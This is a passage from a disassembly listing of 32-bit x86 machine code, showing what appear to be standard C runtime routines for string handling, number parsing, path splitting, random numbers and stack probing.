sub_41C24C+9j pop esi retn sub_41C24C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C266 proc near ; CODE XREF: ___:004013B0p ; ___:004014B6p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41FF3F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C2A6 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C2B3 ; --------------------------------------------------------------------------- loc_41C2A6: ; CODE XREF: sub_41C266+36j lea eax, [ebp+var_20] push eax push 0 call sub_41FE2A pop ecx pop ecx loc_41C2B3: ; CODE XREF: sub_41C266+3Ej mov eax, esi pop esi leave retn sub_41C266 endp ; =============== S U B R O U T I N E ======================================= sub_41C2B8 proc near ; CODE XREF: ___:00401266p ; sub_401ACD+315Ep ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43AE00, eax retn sub_41C2B8 endp ; =============== S U B R O U T I N E ======================================= sub_41C2C2 proc near ; CODE XREF: ___:loc_401379p ; ___:loc_4016A7p ... mov eax, dword_43AE00 imul eax, 343FDh add eax, 269EC3h mov dword_43AE00, eax sar eax, 10h and eax, 7FFFh retn sub_41C2C2 endp ; =============== S U B R O U T I N E ======================================= sub_41C2E0 proc near ; CODE XREF: ___:0040134Ep ; sub_401ACD+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41C35A mov dh, [ecx+1] test dh, dh jz short loc_41C347 loc_41C2F8: ; CODE XREF: sub_41C2E0+52j ; sub_41C2E0+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41C31A test al, al jz short loc_41C314 loc_41C309: ; CODE XREF: sub_41C2E0+32j mov al, [esi] inc esi loc_41C30C: ; CODE XREF: sub_41C2E0+3Fj cmp al, dl jz short loc_41C31A test al, al jnz short loc_41C309 loc_41C314: ; CODE XREF: sub_41C2E0+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C31A: ; CODE XREF: sub_41C2E0+23j ; sub_41C2E0+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41C30C lea edi, [esi-1] loc_41C324: ; CODE XREF: sub_41C2E0+63j mov ah, [ecx+2] test ah, ah jz short loc_41C353 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41C2F8 mov al, [ecx+3] test al, al jz short loc_41C353 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41C324 jmp short loc_41C2F8 ; --------------------------------------------------------------------------- loc_41C347: ; CODE XREF: sub_41C2E0+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41C996 ; --------------------------------------------------------------------------- loc_41C353: ; CODE XREF: sub_41C2E0+49j ; sub_41C2E0+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41C35A: ; CODE XREF: sub_41C2E0+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41C2E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C360 proc near ; CODE XREF: ___:0040133Bp ; sub_401ACD+1C15p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41FF3F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C39F mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C3AC ; --------------------------------------------------------------------------- loc_41C39F: ; CODE XREF: sub_41C360+35j lea eax, [ebp+var_20] push eax push 0 call sub_41FE2A pop ecx pop ecx loc_41C3AC: ; CODE XREF: sub_41C360+3Dj mov eax, esi pop esi leave retn sub_41C360 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C3B1 proc near ; CODE XREF: ___:00401318p ; sub_401ACD+2177p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41B9C0 cmp eax, 1 pop ecx jb short loc_41C3EC cmp byte ptr [ebx+1], 3Ah jnz short loc_41C3EC mov esi, [ebp+arg_4] test esi, esi jz short loc_41C3E8 push 2 push ebx push esi call sub_420B29 add esp, 0Ch and byte ptr [esi+2], 0 loc_41C3E8: ; CODE XREF: sub_41C3B1+25j inc ebx inc ebx jmp short loc_41C3F6 ; --------------------------------------------------------------------------- loc_41C3EC: ; CODE XREF: sub_41C3B1+18j ; sub_41C3B1+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41C3F6 and byte ptr [eax], 0 loc_41C3F6: ; CODE XREF: sub_41C3B1+39j ; sub_41C3B1+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41C46E loc_41C409: ; CODE XREF: sub_41C3B1+87j mov cl, [eax] movzx edx, cl test byte_4DD261[edx], 4 jz short loc_41C41A inc eax jmp short loc_41C434 ; --------------------------------------------------------------------------- loc_41C41A: ; CODE XREF: sub_41C3B1+64j cmp cl, 2Fh jz short loc_41C42E cmp cl, 5Ch jz short loc_41C42E cmp cl, 2Eh jnz short loc_41C434 mov [ebp+var_4], eax jmp short loc_41C434 ; --------------------------------------------------------------------------- loc_41C42E: ; CODE XREF: sub_41C3B1+6Cj ; sub_41C3B1+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41C434: ; CODE XREF: sub_41C3B1+67j ; sub_41C3B1+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41C409 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41C46E cmp [ebp+arg_8], 0 jz short loc_41C469 sub edi, ebx cmp edi, esi jb short loc_41C452 mov edi, esi loc_41C452: ; CODE XREF: sub_41C3B1+9Dj push edi push ebx push [ebp+arg_8] call sub_420B29 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41C469: ; CODE XREF: sub_41C3B1+97j mov ebx, [ebp+arg_4] jmp short loc_41C478 ; --------------------------------------------------------------------------- loc_41C46E: ; CODE XREF: sub_41C3B1+56j ; sub_41C3B1+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41C478 and byte ptr [ecx], 0 loc_41C478: ; CODE XREF: sub_41C3B1+BBj ; sub_41C3B1+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41C4CB cmp edi, ebx jb short loc_41C4CB cmp [ebp+arg_C], 0 jz short loc_41C4A8 sub edi, ebx cmp edi, esi jb short loc_41C491 mov edi, esi loc_41C491: ; CODE XREF: sub_41C3B1+DCj push edi push ebx push [ebp+arg_C] call sub_420B29 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41C4A8: ; CODE XREF: sub_41C3B1+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41C4F3 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41C4B8 mov esi, eax loc_41C4B8: ; CODE XREF: sub_41C3B1+103j push esi push [ebp+var_4] push edi call sub_420B29 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41C4F3 ; --------------------------------------------------------------------------- loc_41C4CB: ; CODE XREF: sub_41C3B1+CCj ; sub_41C3B1+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41C4E9 sub eax, ebx cmp eax, esi jnb short loc_41C4DA mov esi, eax loc_41C4DA: ; CODE XREF: sub_41C3B1+125j push esi push ebx push edi call sub_420B29 add esp, 0Ch and byte ptr [esi+edi], 0 loc_41C4E9: ; CODE XREF: sub_41C3B1+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41C4F3 and byte ptr [eax], 0 loc_41C4F3: ; CODE XREF: sub_41C3B1+FCj ; sub_41C3B1+118j ... pop edi pop esi pop ebx leave retn sub_41C3B1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C500 proc near ; CODE XREF: sub_401955+8p ; sub_401ACD+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41C520 loc_41C50C: ; CODE XREF: sub_41C500+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41C50C loc_41C520: ; CODE XREF: sub_41C500+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41C500 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C52F proc near ; CODE XREF: sub_401ACD+73F5p ; sub_401ACD+7424p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41C543 xor eax, eax jmp short loc_41C579 ; --------------------------------------------------------------------------- loc_41C543: ; CODE XREF: sub_41C52F+Ej dec [ebp+arg_4] push esi jz short loc_41C573 mov esi, [ebp+arg_8] loc_41C54C: ; CODE XREF: sub_41C52F+42j dec dword ptr [esi+4] js short loc_41C55B mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41C562 ; --------------------------------------------------------------------------- loc_41C55B: ; CODE XREF: sub_41C52F+20j push esi call sub_41F8E3 pop ecx loc_41C562: ; CODE XREF: sub_41C52F+2Aj cmp eax, 0FFFFFFFFh jz short loc_41C57D mov [edi], al inc edi cmp al, 0Ah jz short loc_41C573 dec [ebp+arg_4] jnz short loc_41C54C loc_41C573: ; CODE XREF: sub_41C52F+18j ; sub_41C52F+3Dj ... and byte ptr [edi], 0 loc_41C576: ; CODE XREF: sub_41C52F+55j mov eax, ebx pop esi loc_41C579: ; CODE XREF: sub_41C52F+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41C57D: ; CODE XREF: sub_41C52F+36j cmp edi, [ebp+arg_0] jnz short loc_41C573 xor ebx, ebx jmp short loc_41C576 sub_41C52F endp ; =============== S U B R O U T I N E ======================================= sub_41C586 proc near ; CODE XREF: ___:0041E645p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C59D add esp, 10h retn sub_41C586 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C59D proc near ; CODE XREF: sub_41C586+Ep ; sub_41C7A5+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41C5B5: ; CODE XREF: sub_41C59D+46j cmp dword_43D084, 1 jle short loc_41C5CD movzx eax, bl push 8 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_41C5DC ; --------------------------------------------------------------------------- loc_41C5CD: ; CODE XREF: sub_41C59D+1Fj mov ecx, off_43CE78 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41C5DC: ; CODE XREF: sub_41C59D+2Ej test eax, eax jz short loc_41C5E5 mov bl, [esi] inc esi jmp short loc_41C5B5 ; --------------------------------------------------------------------------- loc_41C5E5: ; CODE XREF: sub_41C59D+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41C5F3 or [ebp+arg_C], 2 jmp short loc_41C5F8 ; --------------------------------------------------------------------------- loc_41C5F3: ; CODE XREF: sub_41C59D+4Ej cmp bl, 2Bh jnz short loc_41C5FE loc_41C5F8: ; CODE XREF: sub_41C59D+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41C5FE: ; CODE XREF: sub_41C59D+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41C795 cmp eax, 1 jz loc_41C795 cmp eax, 24h jg loc_41C795 push 10h test eax, eax pop ecx jnz short loc_41C646 cmp bl, 30h jz short loc_41C630 mov [ebp+arg_8], 0Ah jmp short loc_41C662 ; --------------------------------------------------------------------------- loc_41C630: ; CODE XREF: sub_41C59D+88j mov al, [esi] cmp al, 78h jz short loc_41C643 cmp al, 58h jz short loc_41C643 mov [ebp+arg_8], 8 jmp short loc_41C662 ; --------------------------------------------------------------------------- loc_41C643: ; CODE XREF: sub_41C59D+97j ; sub_41C59D+9Bj mov [ebp+arg_8], ecx loc_41C646: ; CODE XREF: sub_41C59D+83j cmp [ebp+arg_8], ecx jnz short loc_41C662 cmp bl, 30h jnz short loc_41C662 mov al, [esi] cmp al, 78h jz short loc_41C65A cmp al, 58h jnz short loc_41C662 loc_41C65A: ; CODE XREF: sub_41C59D+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41C662: ; CODE XREF: sub_41C59D+91j ; sub_41C59D+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41C672: ; CODE XREF: sub_41C59D+16Cj cmp dword_43D084, 1 movzx esi, bl jle short loc_41C68A push 4 push esi call sub_41FDB5 pop ecx pop ecx jmp short loc_41C695 ; --------------------------------------------------------------------------- loc_41C68A: ; CODE XREF: sub_41C59D+DFj mov eax, off_43CE78 mov al, [eax+esi*2] and eax, 4 loc_41C695: ; CODE XREF: sub_41C59D+EBj test eax, eax jz short loc_41C6A1 movsx ecx, bl sub ecx, 30h jmp short loc_41C6D3 ; --------------------------------------------------------------------------- loc_41C6A1: ; CODE XREF: sub_41C59D+FAj cmp dword_43D084, 1 jle short loc_41C6B5 push edi push esi call sub_41FDB5 pop ecx pop ecx jmp short loc_41C6C0 ; --------------------------------------------------------------------------- loc_41C6B5: ; CODE XREF: sub_41C59D+10Bj mov eax, off_43CE78 mov ax, [eax+esi*2] and eax, edi loc_41C6C0: ; CODE XREF: sub_41C59D+116j test eax, eax jz short loc_41C70E movsx eax, bl push eax call sub_420BB3 pop ecx mov ecx, eax sub ecx, 37h loc_41C6D3: ; CODE XREF: sub_41C59D+102j cmp ecx, [ebp+arg_8] jnb short loc_41C70E mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41C6F8 jnz short loc_41C6F2 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41C6F8 loc_41C6F2: ; CODE XREF: sub_41C59D+147j or [ebp+arg_C], 4 jmp short loc_41C701 ; --------------------------------------------------------------------------- loc_41C6F8: ; CODE XREF: sub_41C59D+145j ; sub_41C59D+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41C701: ; CODE XREF: sub_41C59D+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41C672 ; --------------------------------------------------------------------------- loc_41C70E: ; CODE XREF: sub_41C59D+125j ; sub_41C59D+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41C72C test edx, edx jz short loc_41C726 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41C726: ; CODE XREF: sub_41C59D+181j and [ebp+var_8], 0 jmp short loc_41C779 ; --------------------------------------------------------------------------- loc_41C72C: ; CODE XREF: sub_41C59D+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41C752 test cl, 1 jnz short loc_41C779 and ecx, 2 jz short loc_41C749 cmp [ebp+var_8], 80000000h ja short loc_41C752 loc_41C749: ; CODE XREF: sub_41C59D+1A1j test ecx, ecx jnz short loc_41C779 cmp [ebp+var_8], eax jbe short loc_41C779 loc_41C752: ; CODE XREF: sub_41C59D+197j ; sub_41C59D+1AAj test byte ptr [ebp+arg_C], 1 mov dword_4DBDDC, 22h jz short loc_41C768 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41C779 ; --------------------------------------------------------------------------- loc_41C768: ; CODE XREF: sub_41C59D+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41C779: ; CODE XREF: sub_41C59D+18Dj ; sub_41C59D+19Cj ... test edx, edx jz short loc_41C782 mov eax, [ebp+var_4] mov [edx], eax loc_41C782: ; CODE XREF: sub_41C59D+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41C790 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41C790: ; CODE XREF: sub_41C59D+1E9j mov eax, [ebp+var_8] jmp short loc_41C7A0 ; --------------------------------------------------------------------------- loc_41C795: ; CODE XREF: sub_41C59D+66j ; sub_41C59D+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41C79E mov [eax], edi loc_41C79E: ; CODE XREF: sub_41C59D+1FDj xor eax, eax loc_41C7A0: ; CODE XREF: sub_41C59D+1F6j pop edi pop esi pop ebx leave retn sub_41C59D endp ; =============== S U B R O U T I N E ======================================= sub_41C7A5 proc near ; CODE XREF: sub_401ACD+60F0p ; sub_401ACD+6931p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41C59D add esp, 10h retn sub_41C7A5 endp ; =============== S U B R O U T I N E ======================================= sub_41C7BC proc near ; CODE XREF: sub_401ACD+58ADp arg_0 = dword ptr 4 push [esp+arg_0] nop call near ptr 26901EBh test eax, eax jnz short loc_41C7D2 call near ptr 269086Bh nop jmp short loc_41C7D4 ; --------------------------------------------------------------------------- loc_41C7D2: ; CODE XREF: sub_41C7BC+Cj xor eax, eax loc_41C7D4: ; CODE XREF: sub_41C7BC+14j test eax, eax jz short loc_41C7E3 push eax call sub_420C7F pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41C7E3: ; CODE XREF: sub_41C7BC+1Aj xor eax, eax retn sub_41C7BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C7E6 proc near ; CODE XREF: sub_401ACD+5801p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_420CE6 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41FF3F push [ebp+arg_0] mov edi, eax push esi call sub_420D73 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41C7E6 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C820 proc near ; CODE XREF: sub_401ACD+1E1Fp ; sub_401ACD+1E3Ep ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41C841 xor eax, eax jmp short loc_41C843 ; --------------------------------------------------------------------------- loc_41C841: ; CODE XREF: sub_41C820+1Bj mov eax, edi loc_41C843: ; CODE XREF: sub_41C820+1Fj cld pop edi leave retn sub_41C820 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C850 proc near ; CODE XREF: sub_401ACD+854p ; ___:0041E5BDp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41C881 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41C87F jz short loc_41C881 dec ecx dec ecx loc_41C87F: ; CODE XREF: sub_41C850+29j not ecx loc_41C881: ; CODE XREF: sub_41C850+9j ; sub_41C850+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41C850 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C890 proc near ; CODE XREF: sub_401ACD+42Dp ; sub_401ACD+2FB3p ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41C901 sub_41C890 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C8A0 proc near ; CODE XREF: sub_401ACD+436p ; sub_401ACD+746Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41C8BC loc_41C8AD: ; CODE XREF: sub_41C8A0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41C8EF test ecx, 3 jnz short loc_41C8AD loc_41C8BC: ; CODE XREF: sub_41C8A0+Bj ; sub_41C8A0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41C8BC mov eax, [ecx-4] test al, al jz short loc_41C8FE test ah, ah jz short loc_41C8F9 test eax, 0FF0000h jz short loc_41C8F4 test eax, 0FF000000h jz short loc_41C8EF jmp short loc_41C8BC ; --------------------------------------------------------------------------- loc_41C8EF: ; CODE XREF: sub_41C8A0+12j ; sub_41C8A0+4Bj lea edi, [ecx-1] jmp short loc_41C901 ; --------------------------------------------------------------------------- loc_41C8F4: ; CODE XREF: sub_41C8A0+44j lea edi, [ecx-2] jmp short loc_41C901 ; --------------------------------------------------------------------------- loc_41C8F9: ; CODE XREF: sub_41C8A0+3Dj lea edi, [ecx-3] jmp short loc_41C901 ; --------------------------------------------------------------------------- loc_41C8FE: ; CODE XREF: sub_41C8A0+39j lea edi, [ecx-4] loc_41C901: ; CODE XREF: sub_41C890+5j ; sub_41C8A0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41C926 loc_41C90D: ; CODE XREF: sub_41C8A0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41C978 mov [edi], dl inc edi test ecx, 3 jnz short loc_41C90D jmp short loc_41C926 ; --------------------------------------------------------------------------- loc_41C921: ; CODE XREF: sub_41C8A0+9Ej ; sub_41C8A0+B8j mov [edi], edx add edi, 4 loc_41C926: ; CODE XREF: sub_41C8A0+6Bj ; sub_41C8A0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41C921 test dl, dl jz short loc_41C978 test dh, dh jz short loc_41C96F test edx, 0FF0000h jz short loc_41C962 test edx, 0FF000000h jz short loc_41C95A jmp short loc_41C921 ; --------------------------------------------------------------------------- loc_41C95A: ; CODE XREF: sub_41C8A0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C962: ; CODE XREF: sub_41C8A0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41C96F: ; CODE XREF: sub_41C8A0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C978: ; CODE XREF: sub_41C8A0+72j ; sub_41C8A0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41C8A0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C990 loc_41C980: ; CODE XREF: sub_41C990+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41C990 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C990 proc near ; CODE XREF: sub_401ACD+412p ; sub_401ACD+4B9p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041C980 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41C996: ; CODE XREF: sub_41C2E0+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41C9BB loc_41C9A8: ; CODE XREF: sub_41C990+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41C980 test cl, cl jz short loc_41CA04 test edx, 3 jnz short loc_41C9A8 loc_41C9BB: ; CODE XREF: sub_41C990+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41C9C6: ; CODE XREF: sub_41C990+61j ; sub_41C990+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41CA08 and eax, 81010100h jz short loc_41C9C6 and eax, 1010100h jnz short loc_41CA02 and esi, 80000000h jnz short loc_41C9C6 loc_41CA02: ; CODE XREF: sub_41C990+68j ; sub_41C990+81j ... pop esi pop edi loc_41CA04: ; CODE XREF: sub_41C990+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41CA08: ; CODE XREF: sub_41C990+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41CA45 test al, al jz short loc_41CA02 cmp ah, bl jz short loc_41CA3E test ah, ah jz short loc_41CA02 shr eax, 10h cmp al, bl jz short loc_41CA37 test al, al jz short loc_41CA02 cmp ah, bl jz short loc_41CA30 test ah, ah jz short loc_41CA02 jmp short loc_41C9C6 ; --------------------------------------------------------------------------- loc_41CA30: ; CODE XREF: sub_41C990+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41CA37: ; CODE XREF: sub_41C990+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41CA3E: ; CODE XREF: sub_41C990+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41CA45: ; CODE XREF: sub_41C990+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41C990 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41CA50 proc near ; CODE XREF: sub_401ACD+1AEp ; sub_401ACD+205p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41CA9C loc_41CA60: ; CODE XREF: sub_41CA50+3Cj ; sub_41CA50+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41CA94 or al, al jz short loc_41CA90 cmp ah, [ecx+1] jnz short loc_41CA94 or ah, ah jz short loc_41CA90 shr eax, 10h cmp al, [ecx+2] jnz short loc_41CA94 or al, al jz short loc_41CA90 cmp ah, [ecx+3] jnz short loc_41CA94 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41CA60 mov edi, edi loc_41CA90: ; CODE XREF: sub_41CA50+18j ; sub_41CA50+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41CA94: ; CODE XREF: sub_41CA50+14j ; sub_41CA50+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41CA9C: ; CODE XREF: sub_41CA50+Ej test edx, 1 jz short loc_41CAB8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41CA94 inc ecx or al, al jz short loc_41CA90 test edx, 2 jz short loc_41CA60 loc_41CAB8: ; CODE XREF: sub_41CA50+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41CA94 or al, al jz short loc_41CA90 cmp ah, [ecx+1] jnz short loc_41CA94 or ah, ah jz short loc_41CA90 add ecx, 2 jmp short loc_41CA60 sub_41CA50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CAD4 proc near ; CODE XREF: sub_401ACD+B5p ; sub_401ACD+D5p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41CAED: ; CODE XREF: sub_41CAD4+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41CAED mov edx, [ebp+arg_0] test edx, edx jnz short loc_41CB15 mov edx, dword_4DBE28 loc_41CB15: ; 